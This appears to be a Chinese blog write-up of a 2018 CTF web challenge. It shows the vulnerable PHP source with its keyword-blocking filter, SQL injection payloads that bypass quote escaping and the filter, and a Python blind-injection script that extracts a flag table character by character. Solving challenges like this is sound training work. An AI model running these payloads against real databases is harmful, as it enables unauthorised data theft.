题目地址:http://118.25.18.223:10088/

朋友甩给我的地址,刚开始看的一脸懵逼。

通过字典,爆破到了index.php和sql.php

一开始只测试http://118.25.18.223:10088/sql.php~,但是并没有问题…

后来朋友提醒下,访问http://118.25.18.223:10088/index.php~发现,可以下载到index.php的源码。

index.php:

<?php
    error_reporting(0);
    include("sql.php");
    $waf="/(sleep|benchmark|union|group by|=|>|<|hex| |lower|strcmp|updatexml|xmlelement|extractvalue|concat|bin|sleep|mid\(|substr|left|ascii|\/\*|\*\/)/i";
    if(isset($_GET['user'])){
        if(preg_match_all($waf,$_GET['user'])!=0){
            $user="admin";
        }else{
            $user = str_replace("'","\'",$_GET['user']);
        }
        //echo $user."<br>";
        
        $sqli = new mysqli($host,$username,$passwd,$database);
        $sqli->set_charset("gbk");
        $query="select * from users where username='".$user."'";
        $result = $sqli->query($query);
        //echo $sqli->error;
        $num=0;
        @$num = $result->num_rows;
        if($num>0){
            while($row = $result->fetch_row()){
                echo $row[0]."&nbsp;&nbsp;&nbsp;&nbsp;".$row[1]."&nbsp;&nbsp;&nbsp;".$row[2]."<br>";
            }
        }
    }   

很明显的SQL注入

我们可以看到,防护的代码:

$waf="/(sleep|benchmark|union|group by|=|>|<|hex| |lower|strcmp|updatexml|xmlelement|extractvalue|concat|bin|sleep|mid\(|substr|left|ascii|\/\*|\*\/)/i";
$user = str_replace("'","\'",$_GET['user']);

第一段就是一段正则,第二段就是把单引号转义

第一眼看到转义,就想到了宽字节注入,$sqli->set_charset(“gbk”); 这一句也是在疯狂暗示我们。

但是我没有选择宽字节注入,因为太麻烦了。

payload: ?user =\%27||1%23

转义后的语句:select * from users where username=’\\’||1#’

这样就成功的注入进去了

另外bypass waf的话,主要使用了lpad,这个函数类似substr,concat被禁用了,所以用limit,又因为空格也被ban了,所以我们用换行符代替,比如:limit%0d%0a0,1即可

下面是写的代码部分:

import requests

#url_1 = "http://118.25.18.223:10088/index.php?user=\\'||lpad((database()),%(num)d,1)like(%(strs)s)%%23"

#url_2 = "http://118.25.18.223:10088/index.php?user=\\'||lpad((select(select((TABLE_NAME))from(information_schema.TABLES)where(`TABLE_SCHEMA`like\"WEEK44SQLIII\")limit%%0d%%0a1)),%(num)d,1)like(%(strs)s)%%23" 
#url_3 = "http://118.25.18.223:10088/index.php?user=\\'||lpad((select(column_name)from(information_schema.columns)where(`table_schema`like\"WEEK44SQLIII\")and(`table_name`like\"FLLLLLAG\")LIMIT%%0d%%0a1),%(num)d,1)like(%(strs)s)%%23"

#url_4 = "http://118.25.18.223:10088/index.php?user=\\'||lpad((select(table_name)from(information_schema.TABLES)where(`TABLE_SCHEMA`like\"TEST\")LIMIT%%0d%%0a0,1),%(num)d,1)like(%(strs)s)%%23"

url = "http://118.25.18.223:10088/index.php?user=\\'||lpad((select(NOTFLAG)from(FLAG)LIMIT%%0d%%0a0,1),%(num)d,1)like(%(strs)s)%%23"


def Sqli(n,prefix):
    n += 1
    for i in [chr(i) for i in range(0,128)]:
        strs = prefix + str(hex(ord(i)))[2:4]
        payload = url%{"num":n,"strs":"0x"+strs}
        resp = requests.get(payload)
        #print(payload)
        if "23333" in resp.text and "25" not in strs:
            print(strs)
            print(bytes.fromhex(strs).decode('utf-8'))
            Sqli(n,strs)
        else:
            continue

Sqli(0,prefix = "")

 

可疑表名为:FLLLLLAG

最后FLLLLLAG 查到字段名为NOTFLAG

可能这就是出题人恶趣味吧?





本文链接地址: [Writeup]hgame-2018 CTFwp(杭电信安)某web题

原创文章,转载请注明: 转载自Lz1y's Blog

发表评论

电子邮件地址不会被公开。 必填项已用*标注

This site uses Akismet to reduce spam. Learn how your comment data is processed.